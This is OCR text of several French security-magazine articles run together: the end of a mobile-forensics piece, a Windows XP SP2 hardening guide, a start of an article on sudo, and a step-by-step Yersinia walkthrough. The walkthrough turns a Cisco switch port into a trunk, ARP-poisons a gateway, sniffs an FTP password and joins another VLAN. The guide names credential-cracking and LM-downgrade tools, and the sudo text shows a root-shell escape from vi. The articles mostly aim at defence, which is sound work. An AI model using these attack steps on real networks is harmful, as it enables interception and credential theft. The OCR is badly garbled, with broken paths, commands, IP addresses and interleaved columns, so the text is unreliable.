d'investigation forensique n'est possible.

Conclusion

Muni d'un simple lecteur de carte SIM et d'une connexion
Bluetooth, il est possible de récupérer les mémes données
que certains outils commerciaux. Seulement, les données
les plus importantes semblent étre dans le terminal GSM.
Et sans une connaissance approfondie de I'eélectronique,
il est impossible de réaliser une investigation compléte du
terminal. La tache est rendue d’autant plus difficile gu‘aucun
standard n'existe.

Cet article n'est qu'une simple introduction a lI'analyse
forensique des mobiles. Le sujet est assez vaste, étant
donné que les téléphones évoluent rapidement et sont
dotés maintenant de moyens de stockage amovibles de type
SDCard par exemple.

Je tiens a terminer cet article en remerciant Ender pour sa
précieuse aide dans la compréhension du fonctionnement
des lecteurs de cartes a puce et des cartes SIM.
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Fiche pratique :

securiser un poste client Windows XP SP2

Cette fiche pratique a pour objectif de donner des pistes de sécurisation pour un poste client sous Windows XP SP2.

mots clés : durcissement / poste de travail / Windows XP SP2

= Client signifie que le poste appartient & un domaine Windows.
C'est le cas le plus frequent en entreprise. La sécurisation d'un
poste personnel est un domaine complétement différent, car son
utilisateur a des besoins différents (jeu, peer-to-peer...).

= Windows XP SP2, car, d'une part, les versions antéerieures de
Windows sont en fin de vie chez Microsoft (fin de support), et,
d'autre part, le Service Pack 2 pour Windows XP introduit des
nouveautés essentielles en termes de sécurité (protection du heap
el de |la stack, randomisation du PEB, etc.). |l n'est plus a prouver
aujourd’hui qu'une méme faille est plus difficilement exploitable
sous Windows XP SP2 gue sous |les versions antérieures de
Windows (ex. : MS06-040).

Il est bien sdr impossible d'étre exhaustif en quelgues pages,
les derniers modéles d'administration Microsoft ayant plus de
4000 parametres configurables via les strategies de groupe
(GPO [1])! A ce sujet, il est recommandé de télécharger les
modeles (fichiers «  A[1l ») & jour sur le site de Microsoft pour
bénéficier de toutes les options disponibles sur un client donné :

http://www.microsoft.com/downloads/details.
aspx?FamilylD=92759D4B-7112-4B6C-AD4A-BBF3802A5
C9B&displaylang=en

La sécurité du systeme Windows ne peut &tre assurée que si
l'environnement s'y préte. Ceci inclut les mesures de protection
suivantes, gui ne seront pas détaillées outre mesure :

= securite physique du poste (ex. : cable antivol) ;
= securite du BIOS (ex. : impossibilite de boofer surun CD) ;
= securite du disque :

~ Le systéeme de fichiers doit obligatoirement étre NTFS.
L'ancien systeme FAT32 n'a pas de gestion des permissions
d'accés.

“+ L'usage du double boot doit étre mirement réfléchi. Un
systeme Linux peut facilement monter une partition NTFS en
lecture/écriture et/ou récuperer la base de comptes Windows
aujourd hui.

“ Le chiffrement intégral de disque est devenu quasiment

incontournable — c’est en tout cas ce que dit le gouvernement
americain [2].

Effectivement, compte tenu des données présentes dans le fichier
de pagination, le fichier d’hibernation, les répertoires temporaires,
la base de registre (ex. : configuration du VPN), et autres, il
semblerait bien leger aujourd’'hui de se contenter de chiffrer le
repertoire He: Docunente ..

Une solution alternative est de positionner un mot de passe
ATA sur le disque dur. Cette solution graiuite et facile a mettre en
ceuvre presente l'inconvénient d'étre contournable par un accés
direct au firmware du disque dur (mais elle décourage le pirate
occasionnel).

Intégration du poste

La methode d'integration du poste, incluant toutes les applications
tierces, ne sera pas detaillée ici. En effet, il existe de nombreuses
méthodes de déploiement, parmi lesquelles on peut citer :

. utilisation d'un master de type Ghost ;

= utilisation des services RIS [3], combiné avec le déploiement
d'applications via Active Directory |

= l'outil Business Desktop Deployment [4] de Microsoft ;
= Ete.

Le point essentiel pour la sécurité est bien evidemment d'appliguer
les correctifs de sécurité disponibles a la date de |'installation
(et non a la date de creation du master). Fort heureusement,
Windows XP SP2 ne présente pas de faille exploitable a distance
de maniere anonyme, et dispose d'un firewall integre, ce qui permet
d'appliguer les correctifs sans risquer l'infection par un ver.

Lautre point important est la diversité du mot de passe
Administrateur local. En effet si celui-ci est identique sur tous
les postes issus du méme master, la sécurité du domaine s'en
trouve fortement diminuee.

Il ne suffit pas de generer un mot de passe different pour chague
poste, il faut également utiliser une meéthode stre pour cela En
effet, si la methode de géneration est connue (ex. © script de
genération du mot de passe encore présent lors de la livraison
du poste), et si l'aléa ulilisé pour générer le mot de passe est
prédictible (ex. : nom du poste, adresse MAC, voire date et heure
courantes), alors il sera trivial pour un attaguant de retrouver le
mot de passe de nimporte quel poste.

La solution complete consiste donc a :

o Affecter a distance un mot de passe aléatoire au compte
Administrateur local (ce mot de passe peut eventuellement étre
conserveé dans une base de donnees correctement protégee — el
pas un fichier Excel protége par mot de passe!).

I Verrouiller le compte administrateur local par une siratégie de
groupe. Ce compte reste utilisable en mode sans échec pour les
taches de depannage.

b |
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Effacement des traces

La plupart des administrateurs seraient probablement surpris
par les traces gu'on peut trouver sur un systéme a la fin d'une
installation.

En effet, chaque connexion a un compte (local ou de domame)
pravoque la creéation d'un profil dans le répertoire | i

, ainsi que la mise en cache du mot de passe pour les
comptes de domaine (par défaut, les 10 derniéres ouvertures de
session sont mémorisées).

Le premier outil public permettant de récupérer ces mots de
passe et de les « casser » est CacheDump [5]. Cet outil n'étant
plus distribue par son auteur aujourd'hui, il faut se tourner vers
des miroirs ou vers d'autres outils, tels que CacheBF [6] et
FGDump [71.

Un profil utilisateur contient de nombreuses informations
« sensibles », dont il n'existe pas de liste exhaustive aujourd'hui.
On peut citer, par exemple :

= la ruche HKCU de la base de registre, donc :

* tous les mots de passe mémorisés par les applications ;

"~ I'historique des partages réseau accedés, des documents
ouverts, des sites Internet/Intranet consultés ;

~ laliste « MRU [E] » de toutes les applications utilisées ;

= la liste des documents ouverts est également disponible dans
le sous-répertaire o2t du profil ;

- le cache graphlque du cllent Terminal Server dans Ie sous-
repertorre cal Settings\Apg it a\Micro s rminal

= la liste des applications exécutées dans le répertoire i

= efe,

Si le compte utilisé est un compte de domaine avec un profil
itinerant, les informations récupérées seront d'autant plus juteuses,
comme les clés privéees de |'utilisateur !

En conclusion, s'il est nécessaire d'intervenir manuellement sur
un poste apres installation et avant livraison, il est vital d'utiliser
un compte dédié a l'intégration (ou le compte administrateur local)
et de limiter les actions entreprises au strict minimum. Il cenvient
de resister a la tentation d'ouvrir une session juste « pour voir si
tout va bien ».

Lideal est de détruire tous les profils locaux avant la livraison — en
utilisant un outil d'effacement sécurisé.

Ceci n'est toutefois pas suffisant — il peut subsister ailleurs des
journaux, des scripts et autres traces d'installation comme :

= les scripts d'intégration (cf. bulletin MS99-036 — Windows NT4
conser\ralt une cople de tous les scrlpts d'installation autcmathue
dans lirk\system32\Swinnt$.inf 0ou i i

.)'

= les crashdumps (Ywindir®\memory.dmp ou Swindir) fump) ;
* les fichiers temporaires dans @i
= les journaux systeme (EventLog) ;

= les journaux dans les répertoires applicatifs (a traiter au cas
] p
par CES) ;

= efc.

La désinstallation de correctifs de sécurité est une opération
assez rare, lorsque ceux-ci ont été correctement testés avant
deploiement. |l est donc aussi possible de supprimer tous les
repertoires de type '« dans le répertoire

Outre les aspects purement « sécurité », effacer ces fichiers
permet de recuperer un espace disque non négligeable. ..

Configuration des permissions

« Dans le temps », il etait recommandé de durcir les permissions
appliqguees aux objets systeme (fichiers, répertoires, clés de base
de registre, services systeme...). On pouvait trouver des listes de
permissions dans les differents guides de sécurité pour Windows
2000, dont celui de la NSA (le plus connu).

Il est vrai que plusieurs attagues exploitent des permissions trop
laxistes

= MS02-064 « Windows 2000 Default Permissions Could Allow
Trojan Horse Program »

Par defaut n'importe quel utilisateur peut créer un fichier dans la
racine du disque systéme (en général . ). Ceci pose différents
probléemes de sécurite, car la racine du disque systéme est
utilisée pour les fichiers temporaires et présente dans le PATH par
defaut lorsque les variables d'environnement ne sont pas encore
initialisées (ex. : a l'ouverture de session).

- Attaque « WinVal [9] »

Des chercheurs analysant le modéle de sécurité de Windows ont
trouve gue Ies services UPRP et SSDP peuvent étre « configurés »
{(SC_CHANGE 1) par n'importe quel utilisateur, conduisant a une
élévation de prwlleges locale triviale vers le compte SYSTEM.

Toutefois Microsoft déconseille aujourd’hui officiellement [ 10]
de modifier les permissions par défaut, compte tenu des
problemes d'incompatibilité que cela peut occasionner — ce
fut le cas par exemple pour le correctif MS05-051 [11]. Par
ailleurs, aucune attague basée sur les permissions n'affecte un
Windows XP SP2,

En ce qui concerne les applications tierces, le tableau est moins
idyllique. De nombreuses applications ont une vision un peu
laxiste des permissions, et demandent en particulier a pouvoir
creer des fichiers dans leur repertoire d'installation (ex. : fichiers
de log, crashdumps, fichiers (|1 associés aux fichiers d'aide,
teléchargement des mises a jour, etc.). Or, il faut savoir que la
permission « change » sur un reépertoire permet de renommer tous
les fichiers qui s’y trouvent. A bon entendedr...
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Loutil AccessChk [12] de Sysinternals permet rapidement de
trouver tous les répertoires et toutes les clés de base de registre
accessibles en écriture par un utilisateur donné. Malheureusement,
la correction des problémes trouvés est souvent au bon vouloir
de l'éditeur ...

Bien entendu, tout ceci n'a aucun interét si | utilisateur est deja
administrateur focal de son poste ... mais qui oserait encore lire
son mail, ouvrir des documents Office, et naviguer sur Internet
avec un compte administrateur par les temps qui courent ?

Configuration des stratégies

Bien que plusieurs milliers de paramétres soient configurables via
les strategies de groupe, dont certains affectent la sécurite (comme
la possibilité pour |'utilisateur de mémoriser ses mots de passe
dans le navigateur), les paramétres essentiels sont regroupés dans
l'interface « Parametres de securité » / « Stratégies locales » /
« Options de sécurité ».

Ces parametres sont aujourd’hui parfaitement documentés par
Microsoft dans le chapitre 5 du Threats and Countermeasures
Guide [13], qui est la référence définitive dans le domaine.

Les parametres recommandés dépendent de la nature du domaine
(version des contréleurs de domaine, présence de machines
Windows NT4, etc.). Aujourd'hui, le paramétrage par défaut de
Windows XP SP2 peut étre considérée comme robuste (en
particulier, parce que les connexions anonymes sont interdites),
toutefois quelques parametres meritent d'étre reflechis.

 « Comptes : état de compte d'administrateur »

~ Comme vu precédemment, il est recommandeé de désactiver
le compte Administrateur local.

= « Ouverture de session interactive : ne pas afficher le dernier
nom d'utilisateur »

- Meriterait d'étre active, au moins pour les postes accessibles
aux visiteurs,

= « Quverture de session interactive : nombre d'ouvertures de
session precédentes dans le cache »

 Pour un poste fixe, la valeur 0 peut étre utilisée. Pour un
poste nomade, utiliser 1 ou 2.

= « Sécurité réseau : ne pas stocker de valeurs de hachage de
niveau LM sur la prochaine modification de mot de passe »

~ S'il est activé, et que les mots de passe utilisés sont robustes
(10 caractéres ou plus), ce paramétre permet de proteger le compte
administrateur local contre les attaques en force brute. Attention :
pour effacer le hash LM du mot de passe courant, il est necessaire
d'utiliser l'outil tiers TrashLM [14].

= « Sécurité réseau : niveau d'authentification Lan Manager »

= |l est fortement recommandeé de ne pas envoyer les reponses
LM, mais uniguement les réponses NTLM ou NTLMv2. De
nombreux outils sont disponibles pour downgrader une session
SMB en mode LM et récupérer le défi/réponse correspondant
{ex. : Metasploit smb_ sniff, Cain). Un défi/réponse LM est beaucoup
plus facile a casser gu'un défi/réponse NTLM, l'algorithme LM
n'étant pas sensible & la casse.

NTLMvZ apporte, de plus, une authentification mutuelle entre client
et serveur. Pour plus de details, se reporter a l'article « The Most
Misunderstood Windows Security Setting of All Times » [15].

Services demarres

Un principe de sécurité que Windows XP SP2 n'a pas {otalement
respecté est celui de minimiser la surface d'attagque réseau.

Bien que certains services aient été desactivés par défaut (ex. :
« Alerter » — qui s'est fait connaitre lors des campagnes de spam
via popup, ou « Network DDE » — largement obsoléte aujourd’hui),
d'autres services relativement inutiles continuent & s'executer
{ex. : « UPNP » et « SSDP discovery »).

Désactiver les services inutiles est une tache encore d'actualité.
Par exemple, la désactivation du service « Serveur », inutile sur
une machine qui ne partage pas de ressources, permettait d'étre
protége contre la faille MS06-040 (cf. MISC n°28).

Toutefois, on notera que la desactivation par defaut des connexions
anonymes dans Windows XP SP2 limite les possibilités d'attaque
distante via RPC.

Il est malheureusement impossible de donner une liste
« generique » de services a desactiver, puisque cela depend de
la nature du poste (fixe, portable, utilisant une imprimante locale,
etc.). La encore le Threats and Countermeasures Guide est une
reference absolue.

Journalisation

Par défaut, la journalisation d'un client Windows XP SP2 n'est
pas suffisante : aucun evenement de securite n'est journalisé, la
taille des journaux est limitée a 512 Ko et la rotation s'effectue sur
7 jours.

Pour remédier a ce probleme, il est nécessaire de configurer une
strategie de groupe dans la rubrique « Parametres de seécurité » /
« Stratégies locales » / « Strategie d'audit », avec au minimum :

= |la gestion des comptes en succés et en echec ;

= le suivi de processus en succes et en echec ;

1 les événements de connexion en succes et en échec ;

1 les événements systéme en succes et en échec ;

“ les modifications de stratégie en succés et en echec.

La taille des journaux doit étre étendue a quelgues Mo au minimum,
et la rotation doit s'effectuer en fonction des besoins.

Méme si le journal de sécurité n'est pas exploité automatiquement,
ce parametrage permet d'investiguer plus facilement un incident
de securité éveniuel. ..

Cette (courte) fiche pratique se focalise sur I'essentiel de
la sécurité d'un client Windows XP SP2. Les aspects de
configuration plus politiques ont volontairement été omis,
puisque spéecifiques a chaque organisation. On peut citer par
exemple les politiques suivantes :
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De méme, les logiciels de securiteé tiers (antivirus, firewall

. - i - personnel, HIPS et autres), bien qu'essentiels, n'ont pas été
~ Les logiciels de navigation sur Internet et de lecture du abordés.

courrier électronique sont-ils les logiciels Microsoft ou des
logiciels alternatifs ?

= Lutilisation de clés USB est-elle autorisée ?

J'espéere toutefois que cette fiche pratique aura contribué a
rétablir quelques veérités sur la sécurité d’'un client Windows
= Etc. aujourd’hui, tandis que la plupart des documentations et guides

de securité publiés sur Internet traitent les problémes d’hier.

[1] Group Policy Object

(2] hitp:/fwww.full-disk-encryption.net/fde_govt.html

[3] Remote Installation Service

[4] http://www.microsoft.com/technet/desktopdeployment/default. mspx

[5] http://iwww.off-by-one.net/misc/cachedump.html

[6] http://www.toolcrypt.org/index.html

[7] http:/fwww.foofus.net/fizzgig/fgdump/

[8] Most Recently Used, liste des derniers fichiers ouverts par I'application.

[9] www.cs.princeton.edu/~sudhakar/papers/winval.pdf

[10] http://support.microsoft.com/?scid=kb;en-us;885409

[11] hitp://support.microsoft.com/?scid=kb;en-us;909444

[12] http://www.microsoft.com/technet/sysinternals/Security/AccessChk.mspx
[12] hitp://www.microsoft.com/technet/security/guidance/serversecurity/tcg/tcgch05n.mspx
[14] http:/f'www.toolcrypt.org/tools/thrashim/index.html

[15] http:/fwww.microsoft.com/technet/technetmag/issues/2006/08/SecurityWatch/?topics=/technet/technetmag/
issues/2006/08/SecurityWatch
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Attaque sur les VLAN « Yersinia »

Aujourd’hui les systémes d'information sont le point sensible de la vie des entreprises. Des métiers nouveaux
apparaissent dans l'informatique comme les responsables sécurité qui investissent dans des équipements de
sécurité style Firewall ou détection d’intrusions. Mais cela ne suffit pas a garantir un bon niveau de sécurité.

|
‘ mots clés : VLAN hoping / trunk / attaques niveau 2

La sécurité réseau est de plus en plus faite par des VLAN
(reseaux virtuels qui permettent de segmenter les réseaux
Ethernet de fagon logique). Ainsi, méme si un Firewall est utiliseé
pour faire le lien entre ces VLAN, cela ne suffit pas pour garantir
la sécurite, méme si ces derniers font maintenant de l'analyse
applicative, ce gui est un énorme plus. Les failles des protocoles
de communication ne sont pas souvent prises en compte dans les
schémas de sécurité. Aujourd’hui, des failles connues de niveau 2
viennent compromettre la securité fondee sur les VLAN. |l devient
indispensable aux acteurs de la sécurité de bien les connaitre et
bien sOr de vulgariser cette information aux responsables réseau
afin de bien configurer les switchs qui font du VLAN.

Portée du test

Lobjectif de ce test est de montrer comment il est possible de
passer d'un VLAN a un autre depuis un PC connecté sur un switch
de niveau 2 de margue Cisco. Puis, nous verrons comment spoofer
le trafic pour écouter ce qui se passe sur les autres VLAN. Ces
attaques se font sur des switchs uniguement de marque Cisco et
la faille se situe surtout au niveau du protocole Dynamic Trunking
Protocol (DTP).

Principe synthétique des
attaques de couche 2

Differentes attagues sont possibles en couche 2 : unidirectionnelles
en déni de service ou bidirectionnelles qui vont permettre de sniffer
le réseau et méme perpétrer des attagues en man-in-the-middle.
Ces attaques utilisent le saut de VLAN (double encapsulation
802.1Q) ou le saut de PVLAN (propriétaire a Cisco). Dans tous
les cas, il est important de préciser que |la plupart des attaques
possibles viennent de l'activation sur les ports du switch du
protocole DTP. Ce protocole est chargé de la négociation et de la
réalisation des agregations de VLAN entre deux commutateurs.

Yersinia est un logiciel sous Linux qui aide a realiser des attagues
sur les différents protocoles de couche 2 notamment :

= Cisco Discovery Protocol (CDP) : protocole utilisé pour la
découverte du voisinage réseau.

= Spanning Tree Protocol (STP) charge de la detection des
boucles.

= Dynamic Host Control Profocol (DHCP) : distribution
d'adresses IP.

= Hot Standby Router Profocol (HSRP) : gestion de la folérance
de panne au niveau des routeurs.

= VLAN Trunking Protocol (VTP) : protocole permettant de gerer
les VLAN de facon centralisée. Un virtual focal area network
(VLAN) est un réseau logique crée sur un reseau Ethernet existant
qui permet de segmenter des ressources informatiques.

= 802.1Q) : Standard IEEE qui fournit un mécanisme d'encapsulation
en définissant un en-téte pour la gestion des VLAN.

= Dynamic Trunking Profocol (DTP) chargé de la négociation et
la realisation des agregations de VLAN. Si DTP est active sur un
port du switch, ce port pourra a son gré faire partie d'un VLAN
ou passer en mode trunk (le trunk chez Cisco signifie qu'un port
du switch peut transporter I'ensemble des VLAN). Lattaque DTP
consiste a formater un paquet DTP de fagon a transformer un
port configure en mode access en un port trunk (transport des
VLAN) donnant ainsi le pouvoir a l'attaguant de choisir dans
quel VLAN il va mettre son PC en activant le 802.1Q sur |a carte
réseau du PC.

=

Serveur FTP
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Yersinia posséde trois modes d'utilisation : en ligne de commande,
interface Ncurses (-1) ou GUI (-G) beaucoup plus sympathigue
a utiliser.

Yersinia met en ceuvre des attaques de niveau 2 sur différents
protocoles Cisco VTP, CDP, STP, 802.1Q, ISL et DTP. Les
attaques sur les cing premiers protocoles autorisent seulement
du deni de service ou de la reconnaissance de topologie. Pour le
dernier (DTP), une attague permet de changer de VLAN et donc de
pouvoir « surveiller ou plus » ce qui se passe sur un autre segment
du reseau pourtant protége par un VLAN soi-disant « étanche ».

Ces attaques sont possibles, car Cisco active par défaut la plupart
de ces protocoles et particulierement DTP dont on détaille le
principe ci-apres.

R e T,
i e =

Nous avons 2 VLAN de niveau 2 sur notre switch Cisco. Les
PC dans le VLAN 2 n'ont pas de passerelle et sont donc
« normalement » dans un sous-réseau etanche. Le VLAN 3 est
egalement étanche vis-a-vis du VLAN 2, mais les PC de ce VLAN
ont comme passerelle le routeur 10.1.1.1.

Pour notre test, nous avons mis le PC A sous Linux. Il sert
dattaguant avec l'outil Yersinia (version 0.7). Le PC B fait une
connexion sur le serveur FTP en 192.168.1.253. Le but est de
mettre le PC A dans le VLAN 3 puis sniffer (en spoofant) les
connexions passant par la passerelle.

Surle PCA:

'+ Lancer Yersinia en mode graphique :

Voici I'écran de démarrage. Longlet « STP » est présélectionné.
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n'est pas activé ou gue Yersinia n'‘écoute pas sur la bonne interface.
Dans ce cas, choisir la bonne interface connectée sur le switch.
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2¢ Chaisir l'onglet « DTP » :

Lecran suivant s'affiche. Si aucune information n'apparait, c'est
que 'attaque n'est pas possible. Si c'est le cas, peut-étre que DTP

Si une trame contenant des informations apparait, on peut lancer
I'attague. Pour cela, il suffit de cliguer sur licéne « Laurnich attack ».
La fenétre suivante apparait :

attack

‘Choose attack -
Description
O sending DTP packet

® [enabling trunking|

Cancel

Cocher l'option « enabling trunking », ce qui declenche l'attaque
DTP pour passer le port en mode trunk et ainsi voir tous les VLAN
du switch.

Valider ensuite par « OK ».
2+ Cliguer sur l'onglet « 802.1Q » :
L'écran suivant s'affiche (voir figure 5, page suivante).

On peut remarquer, dans la colonne de gauche, les ID des
différents VLAN gue l'on voit passer. Cela prouve que le trunk
est effectif sur le port et donc que I'attaque sur DTP a fonctionné.
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En effet, sans attague, nous ne devrions voir que les trames du
VLANZ, vu gue c'est le VLAN configuré pour le port de notre PC.

On pourrait s'arréter la pour la démonstration de 'attaque de DTP.
Mais, utilisons I'attaque man in the middle contenue dans l'onglet
« 802.1Q ». Cette attaque lance de I'ARP poisoning sur une cible
de facon a voir les paquets IP des différents PC du LAN, méme
dans un environnement switché.

Avant de lancer cette attaque, il faut attendre un peu et regarder
les différents pagquets dans la fenétre « 802.1Q » afin de d’identifier
la passerelle du réseau. Avec un peu de patience, on voit pas mal
de PC faisant une requéte ARP demandant la méme adresse, ce
qui peut laisser supposer que c'est la passerelle. On peut spoofer
autre chose que la passerelle (un serveur par exemple), mais il
passe « des tas de choses » intéressantes par la passerelle !

Nous allons ensuite loguer ce que nous voyons en cliquant sur
licéne « Capture », puis choisir le 8021.Q et taper le nom du fichier
ou nous voulons loguer. Ce fichier de log sera au format pcap
donc lisible par Ethereal par exemple (ou Wireshark qui est le
successeur d'Ethereal).

Ensuite, il faut lancer I'attaque en cliquant sur l'icéne « Launch
attack ».

Chme attack -

Description
O sending B02.1Q packet
| O sending 802.1Q double enc. packet

©/sending 802,10 arp poisoning|

Cancel oK

Choisir « sending 802.1Q arp poisoning »

Parameters list ol x
- Parameters list
IP to poisen (1.1.1.10
1B VLAN
ARP IP Source|7.1.1.10|

| o] o

= Mettre l'adresse de |a passerelle a empoisonner dans le champ
P Lo poison (écrire a l'envers 'adresse : sans doute un bug () ici :
10.1.11, donc taper 1.1.1.10 ;

<> Choisir dans le champ (7 /L4l le VLAN ol on a vu cette

adresse :icile 3.

= Mettre une fausse adresse dans le LAN & spoofer pour notre
PC. On chaisit, au hasard, dans le plan dadressage l'adresse
10.1.1.7. Donc, on met dans le champ Air 1 i g b 1O

Nous voyons maintenant les flux des machines qui transitent.

Dans mon test, le PC B du VLAN 3 initie une connexion FTP sur
le serveur FTP d'un site distant donc via la passerelle de sortie,
Comme nous loguons le tout, nous analyserons ensuite la trame
avec Ethereal (ou Wireshark).
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Choisir File open et sélectionner le fichier de log précédent : nous
decouvrons alors le contenu de la connexion FTP, dont le mot de
passe (rappelons au lecteur, utilisez sftp et pas FTP !!1),

Pour compléter cette élude, nous pouvons mettre notre PC
directement dans le VLAN 3 et ainsi profiter de la passerelle et
discuter avec les serveurs et PC de notre choix. Pour cela, il suffit
que notre stack |P supporte le B02.1Q. Si ce n'est pas le cas déja,
il faut l'installer :
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= charger le module 8021qg (n - [Ll71g), sl on souhaite
l'avoir au démarrage, metlre une ligne 8021q dans le fichier

v (4 ethil o (crée une carte virtuelle dans le VLAN3 sur
notre carte réseau eth().

= editer le fichier vork/inter -:, puis configurer
linterface eth0.3 en tapant les champs suivants :

16.1.1.% (adresse au pif dans le VLAN 3)

puis monter l'interface : ifup eth0.3

Et voila, nous pouvons par exemple pinger le router en 10.1.1.1
sans probleme ou faire du FTP sur le serveur 192.168.1.253 (vu
que l'on a un compie et le mot de passe !!).

Bref, maintenant tout est possible. Nous nous arréterons la pour
cette demonstration.

Ik

Sur un switch Cisco, il faut désactiver DTP sur les ports qui n'en ont
pas besain. Pour cela, taper la commande suivante dans l'interface
oil I'on veut désactiver DTP :

switch port mode access

Seuls les ports dont on aura besoin pour transporter les VLAN
seront configurés en mode trunk.

Cet article montre qu'il est important de bien configurer ses
switchs et particulierement si on s’en sert pour créer des DMZ
publics. Certaines sociétés créent des DMZ sur des switchs,
puis les relient par un firewall gérant le 802.1Q pour faire la
securité entre les zones (VLAN).

Cependant, si quelqu’un utilise une faille applicative d'un
serveur en DMZ et prend la main sur ce dernier, il lui sera
possible de contourner la politique du firewall si le switch est
mal configuré. Lutilisation de DMZ en utilisant des switchs
séparés sur les interfaces physiques du firewall permet de
se prémunir des failles de niveau 2 comme explicité dans
cet article.

Mais il ne faut pas non plus renoncer aux VLAN. Pour des
raisons de confinement sur un LAN ou de déport de plusieurs
reseaux (quand la segmentation physique n’est pas possible),
le VLAN reste la solution la plus pratique. C’est pour cela qu'il
faut bien faire attention a ce que les switchs qui gérent les
VLAN soient bien configurés.

La sensibilisation a la sécurité informatique des
administrateurs systéme et réseau est donc primordiale afin
de connaitre les failles possibles qui existent aux différents
niveaux de I'architecture d'un systéme d’information.

= Site de Yersinia :
http:/lwww.yersinia.net/

~ Site de Cisco concernant les attaques de niveau 2
http://www.cisco.comfen/US/netsol/ins340/
ns394/ns171/ns128/networking_solutions_white
paper09186a008014870f.shiml#wp1002364

= Site de WireShark (anciennement Ethereal) :
http://www.wireshark.org/
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Root ou pas root, sudo est-il la reponse ?
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Root ou pas root, sudo est-il la réponse ?

Tout administrateur d'un systéme Unix connait |la problématique du compte root : il a tous les droits. Pourtant, il serait
bien utile de pouvoir déléguer une partie de ces droits a d'autres. Sudo [1] est I'une des réponses a cette problématique.

mots clés : Unix / priviléges / subrogation

Sudo : pourquoi l'utiliser ?

Sudo est un petit utilitaire qui facilite la vie de nombreux
administrateurs. |l permet d'autoriser quelgu'un a effectuer
une action en se faisant passer pour un autre. Cela peut vous
paraitre étrange d'autoriser des usurpations d'identité, mais, en
fait, c'est bien pratique de déléguer une partie de ses fonctions
{gui a dit taches rébarbatives ?7) a autrui. Cela permet aussi de
fournir des droits a des tiers sans pour autant leur donner les
pleins pouvoirs.

Des exemples cfassiques d'utilisation sont :

= Autoriser le chef comptable (Arthur) a gérer ses files
d'impression ;

arthur@hermes$sudo Tpc down fact @2 &% sudo Tpc start fact 04

= Rendre autonome les équipes (Marco et Stéphane GID :
backup) en charge des sauvegardes ;

marco@athenadsudo dump Buf /dev/nst@ /home

= Ne pas travailler sous root tout le temps, ce n'est pas une
habitude a prendre.

christophe@lugh$sudo tepdump -1 enc@

Mode de fonctionnement

Apreés linstallation de Sudo sur votre serveur (via un paquet, via les
sources ou bien tout simplement s'il est installé de base), regardez
les droits associes a Sudo :

<--8-a%--% 2 root root 93828 2087-83-24 21:33 Jusr/lgcal/bin/sudo

Vous pouvez constater que Sudo est Set-UID root. C'est normal,
car c'est grace a ces droits que Sudo peut vous permettre de
changer d'identite. En effet, sous Unix, les processus ont plusieurs
UID. Tout d'abord, I'UID effectif qui correspond a 'UID contre
leguel les droits d'accés seront testés. Viennent ensuite 'UID réel
qui correspond a I'UID de l'utilisateur executant le programme
et enfin 'UID sauvé qui est une sauvegarde de I'UID effectif si
celui-ci change. Sudo, étant Set-UID root, s'execute avec un UID
effectif a root et un UID réel correspondant a I'utilisateur exécutant
Sudo. En fonction de la commande Sudo passée, soit le processus

restera UID effectif a root, soit il fera une transition vers une autre
identité a I'aide des fonctions s=t*uidi 7. Une fois les UID fixés,
Sudo exécutera la commande voulue.

Sudo ne s'arréte pas a cette fonction de subrogation. Le but
étant d'allouer des droits spécifiques a autrui, il ne faut pas qu'un
utilisateur puisse élever ses prérogatives. Sudo inclut dans ce but
des fonctions d'authentification (par mot de passe, kerberosV4/5,
SecurelD, etc.). Des qu'un utilisateur s'est authentifie, un ticket
est mis a jour permettant au dit utilisateur de rappeler Sudo
sans nouvelle phase d'authentification pendant un laps de
temps (5 minutes par défaut). Ce ticket est valide soit pour
toutes les instances de l'utilisateur (sur le serveur) ayant réussi
l'authentification, soit a l'instance de |'utilisateur sur le terminal a
partir duquel 'authentification a réussi.

Toujours afin d'empécher les elévations de privileges, Sudo
supprime certaines variables d'environnement ou bien vérifie leur
valeur (LC et LANGUAGE sont ignores s'ils contiennent & ou /). Vous
pouvez voir la liste des variables d'environnement nettoyees par
Sudo en exécutant, sous root, cudo -1,

Si dans la variable 471, les valeurs "." ou "' (qui correspondent
au repertoire courant) sont trouvées, elles sont ignorées sans que
PLTH soit pour autant modifie.

Une fois gu'une commande est execulee via Sudo, rien ne
I'empéche de lancer d'autres commandes avec les mémes
priviléges. Par exemple, si la commande suivante est autorisee

alice $sudo vi fetc/shadow

Alice pourra, une fois dans vi, executer a son tour un shell root,
chose que nous ne souhaitons pas. Sudo offre une parade, |'option
noexec, Sur les systémes autorisant les bibliothéques partagees
et les fonctions de type L0 PRELOAD Sudo appelle sa bibliotheque
50 qui émule les fonctions ex=cve () et consorts. Ces
fonctions ne font gue renvoyer une erreur sans lancer d'autres
programmes. Sur un Linux avec l'option noecec activee, si Alice
essaye d'obtenir un shell root, elle aura le message :

suUdo noexec

Cannot execute shell /bin/bash

Bien s'assurer que cette option fonctionne sur votre systeme et que
son utilisation ne blogue pas une commande. Il faut avoir a l'esprit
gue cette technique n'est pas imparable (voir syscall(2)) et qu'elle
ne concerne que les programmes dynamiquement lies. Pour Alice,
ce n'est qu'une difficulte supplémentaire.

Une autre fonction de Sudo est de consigner, vers sy:log(:
fichier, chacun de ses appels. Couplé a un serveur sysload (8 central,
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on peut aisement imaginer une surveillance de |'élévation de
privileges sur tout un parc de serveurs.

Configuration

C'est via le fichier /etc/sudoers que sont définies les autorisations.
Je ne saurais trop vous conseiller d'utiliser visudo @ chague fois
que vous voudrez modifier la configuration. Tout simplement
parce que visudo verifie la syntaxe utilisée et vous avertit en cas
derreur (attention, la vérification est basique et la logigue de votre
configuration n'est pas testée).

Autre détail qui a son importance, le fichier /etc/sudoers estlu
chague appel de Sudo. Si plusieurs régles sont contradictoires,
seule la derniére sera appliquee méme si celle-ci n'est pas
textuellement la plus proche avec la commande Sudo compléte.

Le fichier sudoers se décompose en Irois parties :

= les alias, I'équivalent des variables shell (Partie optionnelle,
mais que je conseille d'utiliser) ;

= les options de configuration (Partie optionnelle) ;

= les régles dont nous allons parler tout de suite (Partie obligatoire,
c'est quand méme la fonction de Sudo !).

Voyons la syntaxe typique d'une régle Sudo sous forme d'une
phrase :

Qui sur quelle Machine = (avec quelle ldentité) et sous
quelle(s) Condition(s) fait quoi ?

Decrivons chague membre de cette phrase :

Qui [obligatoire et unique] : correspond a I'utilisateur qui
executera le Sudo. Cela peut étre mis sous la forme d'un fogin,
d'un groupe Unix (Précédé d'un %), d'un netgroup (précédé d'un
+)ou d'un User_Alias ;

= sur quelle Machine [obligatoire] : est le serveur sur lequel le
Sudo s'exécute. |l peut étre défini par un hostname, une adresse
IP, une adresse de réseau (avec ou sans netmask), un netgroup
ou bien un Host Alia

